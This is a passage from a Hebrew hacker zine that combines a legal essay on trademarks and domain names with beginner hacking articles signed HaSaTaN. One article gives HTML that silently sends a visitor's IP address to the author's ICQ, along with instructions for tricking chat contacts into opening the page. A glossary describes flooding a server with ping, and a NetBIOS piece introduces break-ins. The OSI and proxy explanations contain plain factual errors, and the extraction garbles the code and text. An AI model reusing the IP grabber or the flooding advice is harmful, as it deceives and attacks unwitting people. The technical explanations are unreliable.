‫ניתן להשתמש באותיות בגודל שונה או בפונט מסוג אחר או בצבעים שונים‪ ,‬אלא רק באותיות‬
‫בגודל‪ ,‬סוג וצבע אחיד זהה‪ .‬מגבלה זו מקטינה את היכולת של בעלי הסימנים להבדיל את‬
‫הסימן שלהם מאחרים‪ ,‬זאת כיוון שיש פחות דרכים להביא לייחודיות הסימן (כאמור‪,‬‬
‫הייחודיות של הסימן‪ ,‬או במילים אחרות "האופי המבחין" שלו‪ ,‬הוא אחד התנאים העיקריים‬
‫לרישום והכרה בסימן כסימן מסחר)‪.‬‬

‫ב) אם הסימן או השם המסחרי נרשמו בידי אחר ככתובת באינטרנט ‪ -‬גם אם הוא אינו בעל‬
‫המסחרי ‪ -‬הרי שהבעלים האמיתיים של הסימן או השם‪ ,‬המשתמשים‬ ‫הסימן או השם‬
‫באותו ‪ TLD,‬אינם יכולים כבר לרשום אותו שם או סימן כ‪ Domain Name -‬שכן‪ ,‬כאמור‬
‫לעיל‪ ,‬קיימת רק כתובת ייחודית אחת לכל מספר ‪.IP‬‬

‫ג) כיום לא ניתן לרשום ‪ Domain Name‬המכיל יותר מ‪ 24-‬אותיות‪.‬‬

‫‪309‬‬
‫לכן‪ ,‬חברות שיש להן שמות מסחריים ארוכים יותר עלולות להשתמש בכתובות המורכבות‬
‫מקיצורים או ראשי תיבות‪ ,‬העלולים לבלבל בינן לבין ארגונים אחרים‪.‬‬

‫ד) כאשר מדובר בסימני מסחר‪ ,‬ניתן לרשום סימן הזהה או דומה לסימן רשום אחר‪ ,‬כל עוד‬
‫נפרדים של מוצרים או שרותים ואין סבירות לבלבול ביניהם בקרב ציבור‬ ‫מדובר בסוגים‬
‫הצרכנים‪.‬‬
‫לעומת זאת‪ ,‬כאשר מדובר בכתובות באינטרנט‪ ,‬לא ניתן לרשום כתובת זהה לכתובת שכבר‬
‫קיימת‪ ,‬גם כאשר מדובר במוצרים או שירותים שונים לגמרי‪ .‬לכן‪ ,‬כאשר לשתי חברות יש‬
‫שתרשום ראשונה את סימנה המסחרי ככתובתה באינטרנט‬ ‫אותו סימן מסחרי‪ ,‬רק החברה‬
‫להסתפק בשם חלופי‪ ,‬שהוא אינטואיטיבית‬ ‫תזכה בכתובת זו‪ ,‬ואילו החברה השנייה תיאלץ‬
‫פחות טוב לחברה ולזיהויה‪ .‬מכאן שהחברה השנייה לא תוכל להשתמש בסימנה המסחרי‬
‫ככתובתה באינטרנט‪ ,‬למרות שעל פי פקודת סימני מסחר (נוסח חדש)‪ ,‬תשל"ב‪ ,1972 -‬מותר‬
‫לה להשתמש בו והיא אף משתמשת בו בכל סיטואציה אחרת‪.‬‬

‫ה) בעיות דומות יכולות להיווצר גם מסיבות גיאוגרפיות‪ ,‬כשלחברה במדינה ‪ x‬יש סימן מסחר‬
‫זהה לזה של חברה אחרת במדינה ‪ ,y‬ושתיהן רוצות לרשום כתובת באינטרנט הכוללת אותו‬
‫סימן מסחר ו‪ TLD -‬זהה (כגון‪:‬‬
‫"‪ ".com‬או "‪ ,)".org‬רק אחת מחברות אלה תוכל לרשום את הכתובת המבוקשת‪ ,‬דבר שעלול‬
‫להוביל לסכסוכים בינלאומיים‪.‬‬
‫פיתרון אפשרי לבעיה זו הוא אימוץ ‪ TLD‬שונה לכל מדינה ומדינה‪ ,‬כפי שמדינות רבות אכן‬
‫עשו (ישראל למשל מזוהה ע"י הסיומת "‪ .)il".‬כך ניתן לרשום סימני מסחר זהים במדינות‬
‫השונות‪ .‬אך פתרון זה מעורר‬
‫בעיה אחרת והיא יצירת כפילויות רבות של סימני מסחר זהים ככתובות אינטרנט‪ ,‬אשר עלולה‬
‫לגרום לדילול ייחודיות סימן המסחר‪.‬‬

‫ד‪ .‬רישום כתובות באינטרנט‪:‬‬


‫האינטרנט אף פעם לא נוהלה על ידי סמכות מרכזית אחת‪ ,‬אך ככל שגבר השימוש באינטרנט‬
‫והפך יותר ויותר שכיח בשוק הפרטי התעורר הצורך להקים גוף כלשהו שיתן מידע על המתרחש‬
‫באינטרנט‪ .‬ב‪1993 -‬‬
‫הקרן האמריקאית למדע ‪ - NSF - National Science Foundation -‬הקימה מרכז למידע‬
‫בשם‪,‬‬
‫(‪ - Internet Network Information Center (interNIC‬המספק מידע על כל המתרחש‬
‫באינטרנט‪.‬‬
‫מרכז מידע זה מתופעל על ידי שלוש חברות‪ - AT&T :‬המספקת שירותי ניהול‪General ,‬‬
‫‪ Atomics‬המספקת שירותים של מערכות מידע ו‪ ,Network Solutions Inc -‬האחראית על‬
‫רישום כתובות האינטרנט בארה"ב‪.‬‬
‫כתובות אינטרנט של חברות מחוץ לארה"ב נרשמות על ידי מספר רב של אירגונים מקומיים‪,‬‬
‫אשר כל אחד מהם‬
‫אחראי לרישום הכתובות באזור שלו‪ .‬אירגונים אלה ידועים בשםף ‪NSI - Network‬‬
‫‪.Information Centers‬‬

‫מתחילת עבודתה היתה מדיניות ה‪ NSI -‬שלא להתערב בהשלכות רישום כתובות באינטרנט על‬
‫סימני מסחר של חברות‪ ,‬ולא לקחת אחריות על הפרות סימני מסחר‪ NSI .‬רואה עצמה כמשרד‬
‫רישום בלבד‪ ,‬שכל תפקידו הוא רק לבדוק האם קיים רישום זהה לטובת גוף אחר ותו לא‪.‬‬
‫בהתאם לכך‪ ,‬ישנם שני עקרונות המנחים את ‪ NSI‬לגבי רישום כתובות אינטרנט וכן את משרדי‬
‫הרישום האחרים שהוקמו במדינות אחרות‪:‬‬

‫‪ )1‬ראשון בזמן ‪ -‬ראשון בזכות‪:‬‬


‫לפי עקרון זה לא ניתן לרשום אותה כתובת על שם שתי חברות שונות‪ .‬לכן‪ ,‬כתובת מסויימת‬
‫תירשם רק על שם אותה חברה המקדימה לבקשה‪.‬‬

‫‪310‬‬
:‫) שם אחד לאירגון אחד‬2
‫ אמנם יכול‬.‫ גם אם מדובר באשכול חברות‬,‫לפי עקרון זה לכל אירגון תהיה כתובת אחת בלבד‬
‫בעל כתובת‬
‫ גם אם מדובר באשכול‬,‫ אך אירגון אחד‬,)subdomain( ‫כתובות‬-‫באינטרנט ליצור אינסוף של תת‬
.‫ אחד בלבד‬TLD -‫ ו‬SLD -‫ יכול להשתמש בצירוף של‬,‫של חברות‬

HaSaTaN

‫ של מי שגולש באתר‬IP ‫גילוי‬


!‫ אז אני יביא פה את הקוד מקור שלו‬,‫ אם כבר שמתם לב‬hack.htm ‫ קובץ זה קשור לקובץ‬,ok

>HTML<
>HEAD<
>META content="text/html; charset=windows-1255" http-equiv=Content-Type<
FORM action=http://wwp.icq.com/scripts/WWPMsg.dll method=post<
>name=pagerform
>INPUT name=to type=hidden value=123901635<
>INPUT name=from type=hidden value=Reveal<
>INPUT name=fromemail type=hidden value=dk9@walla.co.il<
>"!INPUT name=subject type=hidden value="Hi This is My Ip<
>SCRIPT language=javascript<
--!<
document.write('<input type="hidden" name="body" value="\nThis is My IP
)'>"!!!! Enjoy and DONT hack 2 much

)(document.pagerform.submit
>--//
>SCRIPT/<
>FORM/<
>META content="MSHTML 5.00.2919.6307" name=GENERATOR<
>HEAD/<

>BODY></BODY<

>HTML/<

‫ ותעלו את הדף‬,‫ או סתם תפתחו אתר‬- ‫ תעלו אותו לדף כלשהוא באתר שלכם‬,‫הסקריפט הזה‬
.‫הזה‬
:‫ אתם רואים כתוב שמה‬,5 :‫ לכו לשורה‬,‫עכשיו‬
>INPUT name=to type=hidden value=123901635<

311
‫במקום המספר‪ 123901635 :‬תכניסו את מספר האי סי קיו שלכם‪.‬‬
‫זהו‪ ,‬גמרנו אם שלב הראשון‪.‬‬
‫עכשיו ‪ -‬תעלו את הדף הזה לאתר שלכם‪ ,‬אתם אפילו להחדיר אותו לתוך דף קיים‪.‬‬
‫דברו אם מישהו באיסי קיו או תם באיזה צ'ט‪ ,‬ותבקשו ממנו להיכנס לדף הזה‪ ,‬כדי לבדוק משהו‬
‫‪ -‬לא יודע!‬
‫אתם כר תמציאו סיבה שהוא יכנס לשם ‪ -‬וברגע שהוא יכנס לשם ‪ -‬האי פי שלו ישלח לאימייל‬
‫שלכם!!!!!‬

‫‪ HaSaTaN‬או ‪death.up.co.il‬‬

‫‪ISO-OSI‬‬
‫שלום חברים‪ ,‬הכתבה הזאת היא כתבה חשובה מאוד ‪ -‬על נושא שלא הרבה מבינים בו‪ ,‬הנושא‬
‫טיפה מסובך אבל איתי לא תהיה לכם שום בעיה להבין אותו‪ ,‬הנושא‪:‬‬
‫"מודל ‪ OSI‬של ‪."ISO‬‬

‫אינדקס הכתבה‪:‬‬

‫הקדמות‬

‫‪ .1‬מודל ‪ OSI‬של ‪ISO‬‬


‫‪ .2‬עוגת השכבות‬

‫שבע השכבות (מעמיק)‬

‫‪ .1‬השכבה הפיזית‬
‫‪ .2‬שכת קישור הנתונים (‪)DATA-LINK‬‬
‫‪ .3‬שכבת הרשת‬
‫‪ .4‬שכבת ההעברה (‪)TRANSPORT‬‬
‫‪ .5‬שכבת המושב (‪)SESSION‬‬
‫‪ .6‬שכבת התצוגה (‪)PRESENTATION‬‬
‫‪ .7‬שכבת היישום (‪)APPLICATION‬‬

‫^^^^ מודל ‪ osi‬של ‪^^^ iso‬‬

‫בשנות ה‪ 70 -‬קמה חברה בשם ‪ ,osi‬החברה הייתה מייבאת תקנים לרשתות מידע (למביני‬
‫שבנינו‪.) x.803 :‬‬
‫התקן החדש שלה נקרא ‪"( iso‬פעולה משולבת של מערכות פתוחות")‪.‬‬

‫מודל ‪ OSI‬הכולל ‪ 7‬שכבות (חלקם פיזיות)‪ ,‬מתאר את מה שקורה כאשר מחשב מדבר עם‬
‫מחשב‪ ,‬בין אם זה מחשב אם שרת‪ ,‬בין אם זה מחשב אל מחשב ובין אם זה מחשב עם מסוף‪.‬‬
‫מודל זה נועד להקל על יצירת מערכות‪ ,‬שבהם מערכי ציוד שונים יכולים לתקשר ביניהם‪.‬‬

‫‪312‬‬
‫רוב החברות אימצו את תקן ‪ ISO/OSI‬ולא את רשתות המידע האחרות הקיימות בשוק‪.‬‬
‫לכתחילה תקן ‪ OSI/ISO‬היה מיועד לרתמ"ים בלבד (רשת מידע מקומית ‪ -‬שמחוברת בינה לבין‬
‫עצמה אם מחשב או מסוף)‪ ,‬אבל באמצע שנות ה‪ ,70-‬תחילת התפתחות האינטרנט‪ ,‬תקן ה‪-‬‬
‫‪ ISO/OSI‬הופץ ושומש גם בפרוטוקול האינטרנט ‪ ,TCP/IP‬והיום הוא נמצא בכל מחשב‬
‫ומחשב‪.‬‬

‫^^^ עוגת השכבות ^^^‬

‫תדמיינו לעצמכם את מודל ‪ OSI‬כעל עוגת שכבות‪ ,‬בדומה לתרשים שהכנתי (‪.)CAKE.JPG‬‬
‫השכבה התחתונה ‪ -‬נושאת עליה את כל השכבות‪ ,‬היא השכבה הפיזית (פיזית = כבלים‬
‫וחומרה)‪.‬‬

‫‪/\/\/\/\/\/\/\/\/\/\/\.‬שבע השכבות\‪\/\/\/\/\/\/\/\/\/\/\/‬‬

‫השכבה הראשונה ‪ -‬השכבה הפיזית‪:‬‬

‫השכבה הפיזית מספקת את החיבורים החשמליים ואת אמצעי העברת האותות‪ .‬השכות הבאות‬
‫מדברות באמצעות השכבה הפיזית‪ .‬כבלים‪ ,‬סיים אופטיים וכו' שייכים כולם לשכבה הפיזית‬
‫שהיא בעצם החומרה‪.‬‬

‫\\\ למתקדמים‪/// :‬‬


‫קרוב לוודאי שהתקן המצוי ביותר הוא ‪' ,RS-232C‬תקן העברת נתונים'‪ ,‬המגדיר את תפקידו‬
‫של כל פין במחבר‪ ,‬ואילו רמות מתח בחוט ‪ -‬מייצגות "‪ "0‬או "‪ "1‬לוגיים‪.‬‬
‫בסופו של דבר‪ ,‬תקן חדש בשם ‪ RS-449‬אמור להחליף את תקן ‪ .RS-232C‬האירופאים‬
‫משתמשים בתקן נין‪-‬לאומי שנקרא ‪ ,V.24‬הדומה מאוד ל‪ .RS-232C -‬כל אלה הם תקנים של‬
‫השכה הפיזית‪.‬‬
‫\\\ עד לכאן הקטע של המתקדמים‪/// .‬‬

‫השכבה הפיזית מעבירה את האותות עבור כל השכות שמעליה‪ .‬אם תנתק את השכבה הזאת לא‬
‫תוכל ליצור תקשורת כלל‪ .‬אולם ללא השכבות הגבוהות יותר‪ ,‬לא יהיה לך מה לומר‪ .‬ככל שאתה‬
‫עולה גבוהה יותר במודל ‪ ,OSI‬התקשורת הפוכת להיות בעלת משמעות גדולה יותר מבחינתו של‬
‫המשתמש (או השרת או המסוף) בקצה השני‪.‬‬

‫השכבה השנייה ‪ -‬שכבת קישור הנתונים (‪:)DATA-LINK‬‬

‫לאחר שיש לנו את החיבוריים הפיזיים והחשמליים‪ ,‬אתה חייב לשלוט בזרימת הנתונים בין‬
‫המערכת שלך למערכת שבצד השני‪ .‬שכבת קישור הנתונים של ‪ OSI‬מתפקדת כמו מפקח‬
‫במסוף של רכבת‪ ,‬המחבר קרונות כדי להרכיב רכבת‪ .‬רמה זו מאגדת תווים יחד ‪ -‬ל‪"-‬מסרים"‪,‬‬
‫ואח"כ בודקת אותם לפני שהיא מעבירה אותם ל"מסילות"‪.‬‬
‫ניתוב ה"רכבות" בין שני המסופים היא מתפקידיה של "שכבת הנתונים"‪.‬‬

‫\\\ למתקדמים‪/// :‬‬


‫שכבת קישור הנתונים משתמשת בהרבה פרוטוקולים‪ ,‬לרבות בקרת קישור נתונים ברמה גבוהה‬
‫(‪ ,)HDLC‬תקשורת דו‪-‬סינכרונית‪ ,‬ונהלי בקרת תקשורת מתקדמים (‪ .)ADCCP‬אינך צריך‬
‫להכיר אף אחד מהפרטים של הפרוטוקולים האלה‪ .‬פשוט חשו עליהם כמפקחים‪ ,‬המציבים‬
‫"רכבות" נתונים על המסילות הנכונות‪ ,‬ומוואים שהם הגיעו ליעדם בשלום‪ .‬במערכות תקשורת‬
‫מבוססות ‪ ,PC‬הפונקציות של שכת קישור הנתונים מתבצעות בד"כ‪ ,‬ע"י מעדלים משולבים‬
‫מיוחדים ‪ -‬על כרטיסי הממשק‪.‬‬
‫\\\ עד לכאן הקטע של המתקדמים‪/// .‬‬

‫השכבה השלישית ‪ -‬שכבת הרשת‪:‬‬

‫‪313‬‬
‫מתארת את אופן הניתוב הפיזי של הנתונים‪ ,‬על בסיס מצב הרשת‪ ,‬קדימות השרותים (‬
‫‪ TALKEN-RING‬למבינים שבינינו)‪ ,‬וגורמים אחרים‪.‬‬

‫השכבה הרביעית ‪ -‬ההעברה (‪:)TRANSPORT‬‬

‫שכבת ההעברה‪ ,‬השכבה ה‪ 4-‬במודל ‪ ,OSI‬מצעת מספר פעולות דומות מאוד לאלה של שכבת‬
‫הרשת‪ ,‬אולם היא מצעת אותם באופן מקומי ולא על‪-‬פני הנתים כמו בשכת הרשת‪" .‬מנהלי‬
‫התקנים" (‪ )DRIVERS‬בתוכנת הרשת הם אלה המבצעים את המשימות של שכבת ההעברה‪.‬‬
‫שכבה זו דומה למפקח העבודה של מסוף מסילת הרכבת‪ ,‬הנכנס לפעולה במקרה של תקלה‬
‫במערכת‪ .‬אם הרשת נופלת‪ ,‬תוכנת שכבת ההעברה מחפשת נתיבים חלופיים או אולי שומרת את‬
‫המידע ששודר עד לחידוש התקשורת ברשת‪ .‬היא מטפלת באבטחת איכות "י כך שהיא מוודאת‪,‬‬
‫שהנתנוים שהגיעו‪ ,‬הם בפורמט הנכון‪ ,‬ובסדר הנכון‪.‬‬

‫שכבת קישור הנתונים יכולה לספור קרונות משא‪ ,‬כדי לוודא שכולם נמצאים‪ .‬שכבת ההעברה‬
‫פותחת אותם‪ ,‬כדי לוודא שדר לא נשבר או חסר‪.‬‬

‫השכבה החמישית ‪ -‬שכבת המושב (‪:)SESSION‬‬

‫השכבה החמישית‪ ,‬שכת המושב‪ ,‬היא לעיתים קרובות השכבה בעלת החשיבות הגדולה ביותר‬
‫במערכות ‪ ,PC‬היא מבצעת פעולות שמאפשרות לשני יישומים (או שני חלקים של אותו יישום)‬
‫לתקשר בינהם על הרשת‪ :‬בדיקות ביטחוניות‪ ,‬זיהוי שמות‪ ,‬נהלי כניסה למערכת (‪NOVELL‬‬
‫הזכורה לטוב) ופונקציות דומות אחרות‪.‬‬

‫השכבה השישית ‪ -‬שכבת התצוגה (‪:)PRESENTATION‬‬

‫ברגע שאתה רואה על הצג תווים מהבהבים‪ ,‬צבעי תצוגה‪ ,‬פורמטים מיוחדים להזנת נתונים‪,‬‬
‫גרפיקה ודברים נוספים על הצג‪ ,‬אתה נמצא בשכבת התצוגה‪ .‬שכבה זו יכולה לטפל גם בהצפנה‬
‫ובשיטות פירמוט קבצים מיוחדות‪.‬‬
‫היא מפרמטת מסכים וקבצים‪ ,‬כדי שהמוצר הסופי יראה כפי שהתמכנת בחר להציגו‪.‬‬
‫שכבת התצוגה מכילה את תווי הבקרה‪ ,‬במיוחד לגרפיקה וקודי התווים‪.‬‬

‫השכבה האחרונה‪ ,‬השביעית ‪ -‬שכבת היישום (‪:)APPLICATION‬‬

‫השכבה העליונה בעודת השכבות ‪ -‬שכת היישום ‪ -‬משרתת את המשתמש‪ .‬במקום זה נמצאות‬
‫מערכת ההפעלה של הרשת (‪ )OS‬ותוכנת היישום ‪ -‬כל דבר החל מחלוקת קבצים‪ ,‬דוא"ל‪ ,‬וכלה‬
‫ניהול בסיסי‪-‬נתונים והנהלת חשבונות‪ .‬המתמש שולט בה ישירות‪.‬‬

‫סיכום‬

‫זו הייתה השכבה האחרונה במודל ‪ .OSI/ISO‬הרעיונות פשוטים למדי‪ ,‬אולם עשרות וועדות‬
‫טורחות על הגדרת תקנים לחלקים הקטנים של כל שכבה‪ ,‬ומאבקים פוליטיים אדירים‪.‬‬

‫‪HaSaTaN‬‬

‫‪314‬‬
‫מילון מושגים ‪:2‬‬
‫המילון נכתב לאלה שרק עכשיו נכנסו לעסק‪ ,‬כדאי מאוד להדפיס ולשנן מדי פעם‪ ,‬קריאת‬
‫דברים אלה‪ ,‬יתנו לכם בסיס ורקע לדברים הבאים!‬
‫אין להסתמך על המדריך במקום קריאת הגיליון‪ ,‬מדריך זה פשוט יותר כללי ומסכם‪.‬‬
‫‪:http‬‬
‫‪ Hyper Text Transfer Protocol‬ר"ת של‬
‫הוא הפרוטוקול המשומש‪ ,‬והידוע ביותר במחשבים ביתיים ועסקיים‪ ,‬הוא מאפשר צפייה‬
‫בדפים שנמצאים על‪:‬‬
‫‪Www‬‬
‫‪ World wide web‬ר"ת של‬
‫רשת מחשבים עצומה שפרושה ע"ג ל העולם‪ ,‬הרשת בנויה משרתים וממחשבי על‪.‬‬
‫‪Phackt‬‬
‫הפאקט שולח מידע לשרת‪ ,‬החלק החשוב במידע הוא‪ :‬שהמחשב שלכם נכנס ונמצא בשרת‪.‬‬
‫{פקודת פינג‪:‬‬
‫‪Ping –t-w x.x.x.x some number‬‬
‫שולחת פאקט\ים אל השרת ובזה מציפה אותו‪.‬‬
‫הסבר פקודת הפינג‪:‬‬
‫‪-‬משמש בדוס לפתיחת האפשרות ‪Ping‬‬
‫משמש לסוג הפינג (במיקרה שלנו‪ ,‬אחד ששולח פאקטים) ‪t-w- -‬‬
‫משמש להגדרת האי פי בלבד של השרת אותו רוצים להציף ‪x.x.x.x -‬‬
‫משמש להגדרת מספר הפאקטים אותו אתם רוצים לשלוח! ‪Some number -‬‬
‫(מומלץ ‪ ,2600‬יותר מזה‪ ,‬בד"כ השרת יוציא אתכם מהתקשורת אתו)‬
‫את פקודת הפינג יש לכתוב בחלון דוס לאחר שאתם ברמה העליונה ביותר]‬
‫חלון דוס‪:‬‬
‫‪:Dos mode‬‬
‫נפתח ב<התחל<תוכניות<הפניה לדוס ובאנלית‪:‬‬
‫>‪start>programs>dos‬‬
‫"רמות" בדוס ‪ -‬כשפותחים חלון דוס‪ ,‬בד"כ הוא נפתח ובוא כתוב‪:‬‬
‫‪C:/windows‬‬
‫שזה כאילו פתחנו בווינדואוס את המחשב שלי‪ ,‬אח"כ כונן ראשי ונכנסנו לתיקיית ווינדואוס‪,‬‬
‫כשאנו אומרים שאנו יורדים אמה בדוס‪ ,‬הכוונה‪ ,‬שבמיקום שיהיה כתוב‪:‬‬
‫‪C:/windows‬‬

‫‪315‬‬
‫יהיה כתוב‪:‬‬
‫‪/:C‬‬
‫כלומר הלכנו רמה אחורה‪ ,‬לפני תיקיית ווינדואוס‪ ,‬איך עושים את זה?‬
‫פשוט מאוד‪ ,‬פשוט לוחצים‪:‬‬
‫‪..cd‬‬
‫(את פקודת הפינג אפשר לכתוב‪ ,‬רק ברמה העליונה ביותר)!‬
‫פקודות שימושיות בדוס‪:‬‬
‫‪Del‬‬
‫ממש כמו לעשות דֵלֽית לקובץ כל שהוא‪ ,‬למשל נלך לדוס ונכתוב‪:‬‬
‫‪Del c:/somefile.exe‬‬
‫והוא ימחק‬
‫‪Copy‬‬
‫פשוט ורגיל‪ ,‬כותבים כך‪:‬‬
‫‪:Copy the_file_you_want_to_copy a‬‬
‫מה שזה יעשה זה‪ ,‬יעתיק את הקובץ אותו אתה רוצה להעתיק‪ ,‬לכונן תקליטונים‪ ,‬באפשרותך‬
‫להעתיק לתיקייה אחרת במחשב שלך לדוגמא‪:‬‬
‫‪Copy the_file windows\coockies‬‬
‫אם אתם נמצאים במצב של הרמה העליונה‪ ,‬אין צורך לכתוב‪:‬‬
‫‪C:/windows‬‬
‫אלא מספיק‪:‬‬
‫‪Windows\some_folder‬‬
‫פשוט מאוד!!‬
‫‪Put‬‬
‫דומה ל‪:‬‬
‫אם אתם הפעלתם את המחשב במצב דוס‪ ,‬ואתם רוצים לחזור לווינדואוס‪ ,‬פשוט הקלידו‪:‬‬
‫‪.1‬‬
‫‪Exit‬‬
‫‪.2‬‬
‫(יש צורך להיות ב‪:‬‬
‫(‪C:/windows‬‬
‫‪win‬‬
‫‪dir‬‬
‫תציג את כל הקבצים והתיקיות הנוכחיים של הכונן או התיקייה‪ ,‬לדוגמא‪:‬‬
‫כשאתם ברמה העליונה לחצו‪:‬‬
‫‪Dir windows‬‬
‫תופיע רשימה ארוכה של כל הקבצים והתיקיות של ווינדואוס‪ ,‬הבעיה היא‪ ,‬שזה עובר מהר‬
‫מידי‪ ,‬לכן רשמו כך‪:‬‬
‫‪Dir\p something‬‬
‫וזה יעצור כל עמוד‪ ,‬עד שתלחצו אֶנטֶר‪ ,‬זה לא ימשיך‪.‬‬
‫‪ftp‬‬
‫‪ File Transfer Protcol‬ר"ת של‬
‫פרוטוקול שנועד להעברת קבצים ע"ג האינטרנט‪ ,‬ניתן לגשת לאתרי אפ טי פי ע"י פתיחה‬
‫אחרת‪:‬‬
‫‪ftp://x.x.com‬‬
‫לדוגמא‪.‬‬
‫‪telnet‬‬
‫דרך דומה להעברת קבצים‪ ,‬רק שהיא‪ ,‬יכולה להיכנס לכול מקום בכל פורט (חוץ ממקומות‬
‫מוגנים)‪ ,‬ושהיא מבוססת על פקודות‪.‬‬
‫‪Smpt & pop3‬‬
‫שרתי דוא"ל‪ ,‬מאפשרים העברת וקבלת דוא"ל‪.‬‬
‫‪Proxy‬‬
‫כ"כ הרבה אנשים מדברים על פרוקסי‪ ,‬אבל מה זה לעזאזל? ומה זה יכול לעזור לי?‬
‫או קי‪ ,‬הרשת בנויה כך‪,‬‬
‫הסתכלו היטב בתרשים הבא‪:‬‬

‫‪316‬‬
‫|‪|4| -|3| -|2| -|1‬‬
‫|‪|8| -|7| -|6| -|5‬‬
‫נגיד שיש שמונה מחשב שהמחשב עובד עד שהוא מגיע לוואלה (לדוגמא בלבד) ‪ ,‬בהתחלה הוא‬
‫מגיע ל ‪ 1‬ואז ל ‪ ,2‬וכן הלאה‪.‬‬
‫מה ששרת הפרוקסי עושה הוא בעצם מחפש את הדרך בא יוכל המחשב שלך לעבור ישירות‬
‫ממחשב |‪ |1‬למחשב |‪ |8‬שזה וואלה‪ ,‬זה היתרון‪ ,‬החיסרון הוא זה‪:‬‬
‫יכול להיות‪ ,‬שמה שיקרה זה‪ ,‬שהשרת פרוקסי יחפש דרך‪ ,‬אבל לא ימצא‪ ,‬מה שיקח לא זמן‪,‬‬
‫ואחרי זה הוא עוד צריך ללכת דרך כל המחשבים בדרך הרגילה!‬
‫כלומר ממחשב |‪ |1‬עד מחשב |‪.|8‬‬
‫התחברות לשרת פרוקסי‪:‬‬
‫היכנסו לאקספלורר ולכו לכלים<אפשרויות אינטרנט<התקשרויות<הגדרות‬
‫וסמנו את האפשרות של "השתמש בשרת פרוקסי‪.‬‬
‫את הכתובת תצתרכו לשאול את ספקית האינטרנט שלכם והפורט (יציאה) הוא בד"כ ‪,8080‬‬
‫בבזק בינלאומי הכתובת היא‪:‬‬
‫‪Proxy.bezeqint.net‬‬
‫‪HaSaTan‬‬

‫‪NetBIOS‬‬
‫אז‪ ,‬לפי הכותרת ולפי האינדקס‪ ,‬אתם כבר יכולים לדעת בערך על מה הכתבה תעסוק!‬
‫למי של הבין אני אסביר עכשיו‪ ,‬הכתבה הזאת תסביר את הפריצה ב‪ ,NetBIOS -‬נכון שאתם‬
‫כבר יודעים איך עושים את זה‪ ,‬אבל היום אנחנו טיפה נעמיק‪ ,‬כדי לראות איך כל העסק‬
‫המחורבן הזה עובד!‬
‫לפני זה‪ ,‬שלושה כללים‪:‬‬
‫‪ .1‬כדאי לכם לקרוא את הכתבה הזאת‪ ,‬היא תוסיף לכם הרבה ידע!!!!‬
‫‪ .2‬אין לקרוא כתבה זאת לפני שראתם את הכתבה של פריצה למחשבים אחרים בגיליון ‪!!!5‬‬
‫‪ .3‬לפני שאני מתחיל על תאשימו אותי על זה שאני מתחיל בדברים בסיסיים‪ ,‬כי יש פה הרבה‬
‫אנשים שלא יודעים כלום מהחיים שלהם‪ ,‬אני יהיה המלאך שלהם‪ ,‬ויסביר ה‪-‬כ‪-‬ל לאט לאט‬
‫וב‪-‬ר‪-‬ו‪-‬ר!!‬
‫אז בקשה על תשאלו אותי למה אני מתעכב על דברים ושטותיים!‬
‫זהו‪ ,‬אחרי זה אני מוכן להתחיל את הכתבה!‬
‫(‪ ,NetBIOS (Network Basic Input/Output Syste‬הגרסא האורגינלית של התוכנה נוצרה‬
‫ע"י ‪ sytek‬ו‪ ,IBM -‬מטרת התוכנה הייתה לספק למתכנתים בעלי מודם ‪ LAN‬ממשק אם‬
‫תקשורת למחשבים נוספים (שיתופים‪ ,‬בעברית מדוברת)‪ ,‬ללא ספק‪ ,‬התוכנה נועדה ליצור קשר‬
‫אם רשתות אחרות לא שום דבר אחר (בינתיים‪!)...‬‬
‫ממשק העבודה של ‪ NetBIOS‬עזר למתכנתים ליצר תוכנות ללא עיכובים ולשלחם לדרכם דרך‬
‫רשתות המחשב השונות‪ ,‬וחסך הרבה סבל ובעיות מהמתכנתים‪.‬‬
‫ישנם עוד הרבה סוגים של תיקשורת מחשבים ושרתים‪ ,‬לדוגמא‪:‬‬
‫‪ ,OSI‬הדבר הזה שנקרא ‪ OSI‬מורכב מ‪ 7 -‬שכבות של קוד מקור‪ ,‬אני לא אפרט פה את השבע‪,‬‬
‫כי אני לא אגמור‪ ,‬אני רק אסביר את העיקרון‪ ,‬לכל ‪( phact‬מי שלא יודע מה זה‪ ,‬שיסתכל בקובץ‬
‫הוורד שבגיליון ‪ ,10‬אין לי כוח להסביר פעמיים) שהמחשב שולח לתוכנה שנקראת ‪ OSI‬יש‬
‫שבעה פעולות לפי סדר מסוים‪ ,‬כך בעצם מועבר המידע‪ ,‬ע"י הצלבת המידע המתקבל מה‪-‬‬
‫‪ phact‬אל ה‪ OSI -‬והקבלתו ל‪( OSI -‬אם לא הבנתם זה לא חשוב!)‪.‬‬
‫ישנם עוד כמה סוגי תוכנות שמעבירות מידע באופן ישיר וזה לא הזמן לפרט אותם!‬
‫‪ NetBIOS‬זוהי תוכנה מאוד משותפת שהרבה פרוטוקולים תומכים בה (אזרנט‪APP, IUS ,‬‬
‫וכו')‪,‬הוספת האפשרות של גישה לכל מחשב ‪ PC‬הפך את התוכנה לשיתופית (חחח‪ )...‬יותר‬
‫מתמיד!‬
‫כל מחשב שמשתתף בתוכנה (הסבר כיצד לעשות זאת‪ ,‬בגיליון ‪ ,)5‬מקבל שם‪ ,‬הברירת מחדל‬
‫היא‪ ,"guest" :‬שם באפשרות המשתתף לשנות אותה‪ ,‬רק אם הוא מצתרף לתוכנה כקבוצה‪ ,‬אם‬
‫הוא יתחבר כיחיד הוא יקבל שם אקראי‪ ,‬שיורכב מ‪ 15 -‬אותיות עם הסיומת של ‪.NnetBIOS‬‬
‫כל קבוצה או משתמש מקבלים טבלה של כל המשתמשים באותה רשת‪ .‬כלומר משהו כזה‪:‬‬

‫‪317‬‬
‫‪NetBIOS Remote Machine Name Table‬‬
‫‪Name‬‬ ‫‪Type‬‬ ‫‪Status‬‬
‫‪---------------------------------------------‬‬
‫‪COMPUTER‬‬ ‫‪<00> UNIQUE‬‬ ‫‪Registered‬‬
‫‪WORKGROUP <00> GROUP‬‬ ‫‪Registered‬‬
‫‪COMPUTER‬‬ ‫‪<00> UNIQUE‬‬ ‫‪Registered‬‬
‫כש‪ unique -‬מייצג משתמש יחיד עם שם אקראי‪ ,‬ו‪( group -‬כמובן) מייצג קבוצה‪ ,‬שורת ה‪-‬‬
‫‪ status‬מראה‪ ,‬האם המחשבים הנ"ל מחוברים ביחד ברשת או לא‪ ,‬והמספרים מייצגים את‬
‫מספר המחשבים בקבוצה או ביחיד!‬
‫הערה‪:‬‬
‫* למי שרוצה לדעת‪ ,‬הנה מספרי הפורטים של תוכנת ה‪:NetBIOS -‬‬
‫‪137‬‬
‫‪138‬‬
‫ו‪.139 -‬‬
